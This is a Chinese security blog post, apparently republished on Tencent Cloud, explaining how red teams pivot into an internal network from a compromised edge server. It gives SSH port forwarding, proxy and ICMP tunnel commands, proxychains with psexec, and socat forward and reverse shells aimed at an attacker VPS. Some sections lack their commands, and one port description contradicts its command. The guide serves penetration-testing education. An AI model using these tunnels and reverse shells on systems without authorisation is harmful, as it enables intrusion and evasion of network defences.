Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >穿越边界的姿势

穿越边界的姿势

作者头像
信安之路
发布于 2018-08-08 02:45:34
发布于 2018-08-08 02:45:34
1.7K00
代码可运行
举报
文章被收录于专栏:信安之路信安之路
运行总次数:0
代码可运行

在企业安全对抗中,红方攻击团队经常会遇到这种情况,在企业的网络边界上获取到部分权限,比如一个web服务器的webshell,然而如何更方便的进行下一步的渗透呢?如何对内网进行渗透测试,这时就需要隧道转发技术,穿透边界防火墙、安全代理等安全设备,进行深层次的安全测试。本文的主要内容是穿透内网的各种姿势。

典型的边界网络架构图

利用ssh建立隧道

动态端口转发

原理:建立一个动态的SOCKS4/5的代理通道,紧接着的是本地监听的端口号;动态端口转发是建立一个ssh加密的SOCKS4/5代理通道,任何支持SOCKS4/5协议的程序都可以使用这个加密的通道来进行代理访问。

本地执行命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ssh -D 1080 root@106.22.50.48

效果:本地监听1080端口,我们可以使用具有socks端口功能的应用,可以通过代理:127.0.0.1:1080上网,如果非要在目标内网使用,

可以在server B上执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ssh -D 1080 root@10.3.1.6

这样我们就可以通过server B的1080端口访问办公网的资源。如果serverB的ssh可以访问,

可以在本地执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ssh -D 1080 root@222.222.222.223

这样我们就可以通过本地127.0.0.1:1080访问目标内网资源。

本地端口转发

原理:将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。

在serverB上执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ssh -L 7001:localhost:7070 root@106.22.50.48

作用:serverB监听7001端口,并将7001端口的数据转发到vps的7070端口

利用:在serverB上运行一个socks代理,代理端口设置为7001,这样再执行上面的命令,这样我们就相当于建立了一个socks5隧道。

远程端口转发

原理:将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。

在serverB上执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
localhost: ssh -R 1433:localhost:7070  root@10.3.1.6

作用:将10.3.1.6的3306端口转发到serverB的7070端口,这样我们在访问serverB的7070端口时,其实访问到的是10.3.1.6的3306端口。

使用3proxy建立隧道

简介

工具地址: https://github.com/z3APA3A/3proxy/releases

3proxy是一个由俄罗斯人开发的多平台代理软件,支持http/https/ftp/socks4/socks5/socks4a/socks5a等多种代理方式。

利用方式:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
windows:3proxy.exe config_file

linux:./3proxy config_file

这个工具的使用主要是修改配置文件。

建立socks代理

配置如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/usr/local/bin/3proxy

socks -p1080

作用:新建一个socks代理,监听1080端口

实现端口转发

配置如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/usr/local/bin/3proxy

tcppm 1080 106.22.50.48 7070

作用:将本地的1080端口转发到vps的7070端口

其他功能大家可以自行学习。

使用plink实现端口转发

plink的使用跟ssh类似,只是plink是在windows下运行的。

使用Rpivot做反向代理

工具地址:https://github.com/artkond/rpivot

利用方式:

vps:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

作用:在vps上新建一个socks4代理在1080端口,监听9999端口

serverB:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python client.py --server-ip 106.22.50.48 --server-port 9999

作用:连接vps的9999端口,我们可以通过vps的1080端口访问目标内网。

建立ICMP隧道

工具地址:http://code.gerade.org/hans/

在serverB上下载编译

用root执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1 echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

2 ./hans -s 222.222.222.223 -p password

在本地执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./hans -f -c 222.222.222.223  -p password -v

会返回一个shell

穿透代理服务器

条件:serverB需要通过serverA这个代理服务器上外网,且代理服务器的认证是需要域认证

Rpivot

可以使用下面的命令实现穿透:

如果获取到的用户密码是个Hash,解不出来的情况下:

Cntlm

工具地址:http://cntlm.sourceforge.net/

原理:通过内网ntlm认证代理将远程务器的端口转发到本地。

使用方式,在serverB上执行:

windows: cntlm.exe -c config.conf

linux:./cntlm -c config.conf

配置文件样例:

作用:内网服务器访问serverB的2222端口,也就是访问到vps的443端口。

通过socks代理访问内网

proxychains

假设代理服务器地址是:222.222.222.223:1080

修改配置文件,将代理地址设置为代理服务器的地址如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
vim /etc/proxychains.conf

socks5  222.222.222.223 1080

使用方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
proxychains psexec.py administrator@10.2.2.2 ipconfig

proxifier

图形化工具,大家自行测试

获取一个shell窗口

Python PTY shell

使用nc在vps上用监听4444端口:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -vv -l -p 4444

在serverB上执行:

socat

正向shell

vps上执行监听1337端口:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

在serverB上执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
socat FILE:`tty`,raw,echo=0 TCP:106.22.50.48:1337
反向shell

vps上执行监听1337:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

在serverB上执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
socat TCP4:106.22.50.48:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

总结

大千世界无奇不有,企业架构各有不同。不同的网络环境需要不同的技术支撑,只有了解足够多的技术才能应对不同的情况,具体情况具体对待,相信作为安全测试工程师对于这些技术都不陌生,这里只是做个简单介绍,内容来源:https://artkond.com/2017/03/23/pivoting-guide/,想看英文原版的请点击原文链接。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2017-06-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
内网渗透测试:隐藏通讯隧道技术
上一节中,我们讲解了网络层的隧道技术(IPv6 隧道、ICMP 隧道)和传输层的隧道技术(TCP 隧道、UDP 隧道、常规端口转发)。现如今,TCP、UDP 通信大量被防御系统拦截,传统的Socket隧道也已经濒临淘汰,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中,我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解,由于小编能力太菜,很多东东也是现学现卖,应用层的DNS隧道我会在未来专门写一个专题进行讲解。
FB客服
2020/07/13
2.3K0
内网漫游之SOCKS代理大结局
在实际渗透过程中,我们成功入侵了目标服务器。接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口、内网网站8080端口等等。传统的方法是利用nc、lcx等工具,进行端口转发。
Ms08067安全实验室
2019/09/24
2.3K0
内网漫游之SOCKS代理大结局
内网渗透-代理篇
利用代理工具将内网的流量代理到本地进行访问,这样就可以对内网进行下一步渗透,同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议),工作在OSI参考模型的第5层(会话层)。使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本:
Power7089
2021/05/27
5.1K0
巧用SSH转发功能深入穿透内网
ssh能够提供客户端到服务端的加密传输,当http、ftp等协议被防火墙所拦截时,可以考虑使用SSH的端口转发功能,将其它TCP端口的网络数据通过SSH连接来转发。
FB客服
2021/02/08
1.7K0
内网渗透 | 内网转发工具的使用
在渗透测试中,当我们获得了外网服务器(如web服务器,ftp服务器,mali服务器等等)的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发。
谢公子
2022/01/19
2.7K0
内网渗透 | 内网转发工具的使用
内网渗透|Chisel内网穿透工具
Chisel可用来搭建内网隧道,类似于常用的frp和nps之类的工具。由于目前使用的人比较少,因此对于有些杀软还不能准确的识别出该工具。chisel可以进行端口转发、反向端口转发以及Socks流量代理,使用go语言编写,支持多个平台使用,是进行内网穿透的一个鲜为人知的好工具。
HACK学习
2021/03/03
10.7K0
内网渗透|Chisel内网穿透工具
内网渗透常用端口转发与代理工具枚举
lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap,
字节脉搏实验室
2020/04/24
3.1K0
基于百香果内网安全沙盘的SOCKS学习·上篇
上周斗哥给大家介绍来“百香果”内网安全沙盘的构建,主要用于学习内网渗透的基础环境,那么内网渗透中最基础的就是内网通信隧道了,本期给大家带来内网通信隧道中SOCKS的学习。
pensar
2021/01/08
9340
图解Meterpreter实现网络穿透的方法
纵向防御也被被称为为“多层防御”,这样的概念被运用于“信息安全”上。以多层电脑安全技术去减轻其风险,在其中有些电脑被入侵或是泄密时,风险可大大降低。 举例说明,防毒软件被安装于个人工作站上,电脑中病毒在防火墙与服务器等其中类似环境中被拦拦下来。在信息技术世界中占据着举足轻重的地位。本文我们将通过示例分析怎么用英语翻译。是什么意思进行网络穿透的。 何谓路由 确定设备如何在不同网络之间相互传输的过程,也即通过互联的网络把信息从源地址传输到目的地址的活动被称为为路由。 通常用于执行路由活动的设备被称为路由器。通
FB客服
2018/02/09
1.1K0
图解Meterpreter实现网络穿透的方法
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
一只特立独行的兔先生
2023/11/01
1.4K0
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
内网隐藏通信隧道技术——EW隧道
在研究人员的渗透测试中,EW很好用,体积小,Linux为30kb左右,windows为56kb左右。EW是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可以在复杂的网络环境下完成网络穿透。
FB客服
2021/08/24
2.1K0
EW入侵内网渗透记录
前面一次网进行了内网渗透,这里做个人小结,也方便其他小伙伴学习EW。这里仅记录后渗透中与EW相关的部分已提前在tomcat中留下冰蝎马。
Power7089
2021/01/11
2.4K0
EW入侵内网渗透记录
【内网渗透】关于内网代理转发技术
有如下图所示测试环境,外网服务器拥有双网卡,既可与公网进行通信,也可以与内网服务器进行通信。
一名白帽的成长史
2020/07/20
2.8K0
【内网渗透】关于内网代理转发技术
内网渗透基石篇-- 隐藏通信隧道技术(上)
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
顾翔
2021/05/17
2.6K0
内网渗透基石篇-- 隐藏通信隧道技术(上)
【实战技巧】利用ssh将内网端口反向连接穿透到外网vps
将内网机器的127.0.0.1的8882端口,通过主动连接外网的122.114.250.153的ssh,映射到外网vps的122.114.250.153的7280端口,实现网络穿透.这样访问122.114.250.153的7280就可以相当于直接访问内网的8882端口了.
用户1631416
2020/02/26
5.5K0
SSH 端口转发小结
Linux 的 SSH 服务不仅仅能够远程登录和管理,还可以在本地计算机和服务器之间建立 TCP 通道, 实现代理、内网穿透、暴露内网服务等功能,简单可靠。
beginor
2020/08/10
1.6K0
通过SOCKS代理渗透整个内网
经过前期的渗透工作,我们现在已经成功找到了web站点的漏洞,并且获得了一个普通的webshell,现在准备用菜刀去连接它。
全栈程序员站长
2022/07/05
1.7K0
通过SOCKS代理渗透整个内网
内网渗透之各种正反向内网穿透、端口转发(http,socks5)- 渗透红队笔记
在我们拿下一个Webshell的时候,我们没办法把一些工具上传到目标服务器上去使用,那样可能会有风险,而且有的时候还没有特定的环境来使用工具。这个时候我们就可以使用内网穿透来吧服务器的流量代理到本地,就相当于我们是在内网环境,我们就可以使用自己PC上的工具对内网进行扫描,内网渗透,域渗透等等。
渗透攻击红队
2020/11/25
5.2K0
内网渗透之各种正反向内网穿透、端口转发(http,socks5)- 渗透红队笔记
内网渗透之隐藏通信隧道 -- sock5
SOCKS是一种代理服务,可以简单地将一端的系统连接另一 端。 SOCKS支持多种协议,包括HTTP、FTP等。SOCKS分为SOCKS 4和SOCKS 5两种类型: SOCKS 4只支持TCP协议;SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080.SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。
Gh0st1nTheShel
2021/11/23
5.5K0
Linux内网渗透
能够成功地通过web漏洞获取到webshell,对于一次完整的渗透测试来说,仅仅相当于万里长征的第一步。并不是所有渗透测试都会遇到几百台机器的大内网。
HACK学习
2019/08/07
6.9K0
推荐阅读
相关推荐
内网渗透测试:隐藏通讯隧道技术
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验